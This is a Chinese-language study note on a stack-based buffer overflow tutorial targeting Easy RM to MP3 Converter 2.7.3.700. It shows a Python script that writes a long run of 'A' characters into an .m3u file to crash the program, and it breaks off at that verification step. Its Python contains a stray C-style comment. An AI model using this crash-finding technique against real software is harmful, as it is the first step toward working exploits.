Exploit编写系列教程1-学习笔记

对于《Exploit编写系列教程1——基于栈的溢出》的学习笔记。

1.调研

从漏洞报告中获取漏洞相关信息，包括漏洞类型、漏洞位置、漏洞危害及利用等。多数情况下，这些信息会给我们后续的分析提供灵感和入手点。本例中能获取到的基本信息如下——

通过创建一个恶意的.m3u 文件将触发 Easy RM to MP3 Converter version 2.7.3.700 缓冲区溢出利用。

2.验证bug

一、首先，根据关键信息.m3u 文件和缓冲区溢出，我们编程构造一个包含较多内容的.m3u 文件，用目标程序打开，测试是否会发生崩溃。构建.m3u文件的python脚本如下——

#!/usr/bin/env python
# -*- coding: utf-8 -*-
'创建一个文本文件'
import os
#输入文件名
while True :
    filename = raw_input('输入文件名')
    if os.path.exists(filename) :
        print 'ERROR: %s already exists' % filename
    else :
        break

#写入文件
fobj = open(filename, 'w')
fobj.write('A'*10000)        //如果没有触发程序崩溃，可以将10000改为更大的数字，直到触发崩溃
fobj.close()
print 'Done!'

依次改变’A’的个数，当从20000改变为30000时，应用程序发生崩溃。